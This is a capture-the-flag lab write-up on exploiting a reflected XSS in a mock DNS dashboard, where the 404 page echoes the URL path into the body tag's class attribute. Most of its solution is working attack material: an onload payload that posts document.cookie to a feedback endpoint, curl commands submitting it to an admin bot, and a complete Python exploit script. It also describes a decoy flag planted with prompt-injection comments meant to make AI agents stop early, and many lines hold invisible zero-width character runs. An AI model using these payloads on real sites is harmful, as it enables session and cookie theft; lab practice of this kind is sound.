← Back to Writeups
CUSTOMMediumWeb

Lab 73 — NetShield — Reflected XSS via 404 Page Attribute Injection

XESXOR9/2/20265 min read
#web#custom#medium#admin_bot_exploitation#body_onload_event_injection#html_attribute_breakout#reflected_xss_via_attribute_in#same_origin_cookie_exfiltratio#url_encoding_payload_delivery

Lab 73 — NetShield — Reflected XSS via 404 Page Attribute Injection

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_bot_exploitation, body_onload_event_injection, html_attribute_breakout, reflected_xss_via_attribute_injection, same_origin_cookie_exfiltration, url_encoding_payload_delivery

Summary

Walkthrough of the CUSTOM Web Lab 73 — NetShield — Reflected XSS via 404 Page Attribute Injection. Task: NetShield DNS monitoring dashboard reflects URL path unescaped into body tag class attribute on 404 pages; admin bot visits reported URLs. Solution: HTML attribute injection breaks out of class

Description

NetShield is a network monitoring and DNS filtering dashboard built by ShieldWave Technologies. It provides real-time visibility into DNS queries across your infrastructure, lets you manage domain blocklists, and monitors connected client devices. The platform includes several management features: a searchable query log, blocklist configuration, client device tracking, and general settings. There is also a public feedback board and a URL reporting system where administrators review submitted links.

Goal: Find a vulnerability in the application and use it to steal the admin's secret cookie. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Target: https://10e11a27-7517-4d60-a27c-ee398c62aca4.labs.hackadvisor.io/

English summary: NetShield is a Node.js/Express DNS monitoring dashboard with multiple management pages (dashboard, query log, blocklist, clients, settings). It has a public feedback board with a POST API at /api/feedback and a URL reporting system at /report where submitted URLs are visited by an admin bot. The bot only accepts URLs starting with http://localhost:8080 or http://127.0.0.1:8080. No authentication is required. The goal is to find a vulnerability and steal the admin's secret cookie. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Application Structure

  • / — Dashboard with DNS query statistics
  • /queries — Query Log (searchable DNS queries)
  • /blocklist — Block Lists management
  • /clients — Connected client devices
  • /settings — General settings
  • /report — Report URL form (submit URLs for admin bot to visit)
  • /feedback — Public feedback board
  • POST /api/feedback — API endpoint to submit feedback (name + message, no auth required)

Security Headers

The application sets some security headers but critically lacks CSP: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • X-XSS-Protection: 1; mode=block — browser-level XSS filter (ineffective against attribute injection)
  • X-Content-Type-Options: nosniff
  • No Content-Security-Policy header — allows inline event handlers to execute

Decoy Flag / Honeypot Trap

Every page in the application contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in:

  • Hidden HTML elements
  • HTML comments with prompt injection text designed to trick AI agents into accepting it as the real flag and stopping analysis ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This is a deliberate red herring — the real flag is only in the admin's cookie.

Vulnerability: Unescaped Path Reflection in 404 Page

When visiting any non-existent path (triggering a 404 error), the URL path is reflected directly into the <body> tag's class attribute without any HTML encoding:

html
<!-- Normal 404 for /robots.txt -->
<body class="error-page /robots.txt">

Testing with injected characters confirmed the path is inserted raw:

bash
curl -s "https://TARGET/test\"onload=alert(1)\""

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Result:

html
<body class="error-page /test"onload=alert(1)"">

By injecting a double quote ", we break out of the class attribute and can inject arbitrary HTML attributes — classic HTML attribute injection leading to Reflected XSS.

Solution

Step 1: Craft the XSS Payload

The key constraint is that the onload attribute value is delimited by double quotes, so the JavaScript code inside must avoid double quotes. All JS strings use single quotes instead:

/x" onload="fetch('/api/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({name:'pwned',message:document.cookie})})" x="

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This renders as:

html
<body class="error-page /x" onload="fetch('/api/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({name:'pwned',message:document.cookie})})" x="">

The onload event fires when the page finishes loading, executing a fetch() call that POSTs document.cookie to the application's own /api/feedback endpoint. This is same-origin exfiltration — no external webhook or server needed.

Step 2: URL-Encode and Submit to Admin Bot

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The admin bot only accepts URLs starting with http://localhost:8080 or http://127.0.0.1:8080. The payload is URL-encoded and submitted:

bash
URL="https://10e11a27-7517-4d60-a27c-ee398c62aca4.labs.hackadvisor.io"

MALICIOUS_URL='http://localhost:8080/x%22%20onload%3D%22fetch%28%27/api/feedback%27%2C%7Bmethod%3A%27POST%27%2Cheaders%3A%7B%27Content-Type%27%3A%27application/json%27%7D%2Cbody%3AJSON.stringify%28%7Bname%3A%27pwned%27%2Cmessage%3Adocument.cookie%7D%29%7D%29%22%20x%3D%22'

curl -s -X POST "$URL/report" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "url=$MALICIOUS_URL"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response: "URL submitted successfully. An administrator will review it shortly."

Step 3: Retrieve the Exfiltrated Cookie

After ~10 seconds, the admin bot visits the malicious URL. The onload handler fires, sending the admin's cookies to the feedback board. Checking /feedback:

bash
curl -s "$URL/api/feedback" | python3 -m json.tool

A new feedback entry appears:

  • Message: admin_token=FLAG{REDACTED}

Full Exploit Script

python
#!/usr/bin/env python3
"""
NetShield — Reflected XSS via 404 Page Attribute Injection
Exploits unescaped URL path in <body class="..."> on 404 pages.
"""
import requests
import time
import urllib.parse
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

BASE_URL = "https://10e11a27-7517-4d60-a27c-ee398c62aca4.labs.hackadvisor.io"

# XSS payload: break out of class attribute, inject onload to exfiltrate cookies
# Uses single quotes inside JS to avoid breaking the double-quoted attribute
js_payload = (
    "fetch('/api/feedback',"
    "{method:'POST',"
    "headers:{'Content-Type':'application/json'},"
    "body:JSON.stringify({name:'pwned',message:document.cookie})})"
)

# Build the malicious path: /x" onload="<JS>" x="
malicious_path = f'/x" onload="{js_payload}" x="'
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# URL-encode for the localhost URL the admin bot will visit
malicious_url = f"http://localhost:8080{urllib.parse.quote(malicious_path)}"

print(f"[*] Submitting malicious URL to admin bot...")
resp = requests.post(f"{BASE_URL}/report", data={"url": malicious_url})
print(f"[*] Response: {resp.text.strip()}")

print("[*] Waiting 15 seconds for admin bot to visit...")
time.sleep(15)

print("[*] Checking feedback board for exfiltrated cookie...")
resp = requests.get(f"{BASE_URL}/api/feedback")
feedbacks = resp.json()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

for entry in feedbacks:
    if entry.get("name") == "pwned":
        print(f"[+] FOUND: {entry['message']}")
        break
else:
    print("[-] Cookie not found yet, check /feedback manually")

What Didn't Work / Traps

  1. Decoy flag honeypot: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} was embedded in every page's HTML with prompt injection text targeting AI agents — designed to make automated tools stop early
  2. Double quotes in JS payload: Initial attempt used double quotes inside the JavaScript code, which broke the HTML attribute structure. Fixed by switching all JS strings to single quotes
  3. X-XSS-Protection header: The X-XSS-Protection: 1; mode=block header is ineffective against attribute injection because the browser XSS auditor only detects script tag injection patterns, not attribute breakouts ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering admin_bot_exploitation, body_onload_event_injection, html_attribute_breakout, reflected_xss_via_attribute_injection, same_origin_cookie_exfiltration, url_encoding_payload_delivery was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-04 • CUSTOM • Lab 73 — NetShield — Reflected XSS via 404 Page Attribute Injection • Difficulty: Medium